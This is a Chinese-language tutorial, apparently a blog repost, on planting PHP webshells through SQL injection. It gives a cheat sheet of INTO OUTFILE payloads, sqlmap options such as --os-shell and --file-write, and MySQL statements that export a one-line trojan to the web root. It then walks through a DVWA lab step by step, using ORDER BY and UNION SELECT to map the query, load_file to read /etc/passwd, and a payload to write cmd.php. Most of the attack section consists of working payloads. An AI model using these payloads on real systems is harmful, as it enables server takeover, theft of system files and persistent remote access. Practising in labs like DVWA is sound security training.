利用SQL注入植入 webshell

这里小结一下通过SQL注入写入WebShell的方法。

传统的SQL语句写shell

通过SQL注入select into outfile实现,如:

1' union select 1,'' INTO OUTFILE '/var/www/tmp/nb.php'#

sqlmap写shell

前提都是需要对目标目录具有写权限。

--os-cmd="net user"

交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径

下创建文件返回结果,然后再自动删除。

--os-shell

写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。

注意:关闭sqlmap文件就会被删除。

本地写入webshell

先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,--file-write "./mst/mst.txt" --file-dest "网站的绝对路径/1.php"。

注意需要最高权限。

MySQL写一句话木马

MySQL写木马,通常可以通过phpmyadmin来实现。

前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。

1、创建一个表

CREATE TABLE a (cmd text NOT NULL);

2、插入数据

INSERT INTO a (cmd) VALUES('');

3、导出一句话

SELECT cmd from a into outfile '/var/www/tmp/webshell.php';

4、删除表

Drop TABLE IF EXISTS a;

**嘤嘤嘤 哈哈哈** 以上是一种写法 是从一篇文章那搞过来的 下面是另一篇 用dvwa写的

转自:http://www.nxadmin.com/penetration/1141.html

这篇文章谈论简单的技术,利用sql注入(SQLi)漏洞,并获得一个webshell,所有的演示都是用DVWA(渗透测试演练系统).对于SQL注入利用,有以下几个基本步骤:

1,发现SQL注入点;

2,通过mysql数据库帮助,进一步进行注入,获取帐号密码等敏感信息;

3,上传webshell,获得一个反向连接。

本文所有的演示都是在DVWA(Dam Vulnerable Web Application)环境演示,DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞. 安装好之后,我们在本文的演示中需要设置脚本安全级别为low(低)。

1.发现SQL注入点

识别SQL注入是关键的一步,它需要大量的技能和经验来确定注入点。通过适当的分析应用程序,可以判断什么地方存在注入点。在下面的屏幕截图所示,“ID”字段中可能会受到SQL注入。程序功能需要一个整数做为用户输入,提交之后会显示该ID对应的姓名。

当我们在用户ID中加一个单引号(‘),会看到产生了数据库的报错,本次演示使用的是mysql数据库。

之所以产生错误是因为,输入的用户ID中,单引号不是一个整数类型的,导致后端SQL查询产生了错误,可以想象一下后端SQL查询语句大概是这样:

Mysql>select first_name,last_name from users where user_id=”;

如果输入变成了非整数类型的单引号,SQL语句就会变成如下:

MySQL> select first_name, last_name from users where user_id=”’ ;

因此,产生了一个语法错误,所以注入点被确定为id字段。前端的该语句是会在后端的sql服务器进行执行的,这将使sql注入变为可能。

2,通过mysql数据库帮助,进一步进行注入,获取帐号密码等敏感信息;

进一步尝试猜测后端查询语句,从而获取mysql版本、数据库名称、列数等,通过前端的报错等我们猜测后端的查询语句是这样的:

Mysql>select first_name,last_name for user where user_id=1;

以上只是胡乱猜测,我们需要通过mysql语句更进一步的进行测试,开始使用order by 。order by 语句可以对查询结果进行排列,上面的语句中有两列,使用order by 语句可以按照第一列first_name或者第二列last_name对结果进行排列。假如我们想根据第三列对结果进行排序,因为查询语句中不存在第三列,就会产生报错:

利用SQL注入植入 webshell_第1张图片

ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’

当我们使用order by 2的时候没有产生任何错误,而使用order by 3的时候产生报错,说明数据库中只有两列;通过这种方法我们可以使用order by语句猜测数据库表中的列数。

user id输入’ order by 3+–+的时候,后端SQL查询语句如下:

Mysql>select first_name,last_name from user where user_id=”order by 3+- -+’

可以看到因为不存在第三列会产生报错。

user id输入’order by 2+–+的时候,后端查询语句如下:

Mysql>select first_name,last_name from user where user_id=”order by 2+- -+’

可以看到没有产生任何错误。

利用SQL注入植入 webshell_第2张图片

接下来进一步使用union查询语句

为什么要使用联合查询?

Union查询结合了两个select查询结果,根据上文中的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询了结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

MySQL> select first_name, last_name from users where user_id=”union select 1,2 ;

使用union select之后可以看到查询结果显示在了页面上.

利用SQL注入植入 webshell_第3张图片

继续构造union select语句,来查询正在使用中的用户和数据库,用以下语句

‘union select user(),database()+- -+

利用SQL注入植入 webshell_第4张图片

‘union select session_user(),current_user()+- -+

‘union select 1,version()+- -+ 查询数据库的版本。

使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux系统)

UNION SELECT 1, load_file(/etc/passwd) +- -+

使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)

‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +- -+        或者

‘ union select 1, load_file(‘c:\/1.txt’) +- -+

利用SQL注入植入 webshell_第5张图片

3.利用sql注入写入webshell

假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。

‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+

‘ union select 1,’’ into outfile ‘c:\\2.php’+- -+

本文中用到的DVWA(渗透测试演练系统):http://www.kalinux.org    帐号密码: admin password,  暂时因为环境不支持sql injection漏洞的演练。


你可能感兴趣的:(web安全,SQL注入,DVWA,信息安全)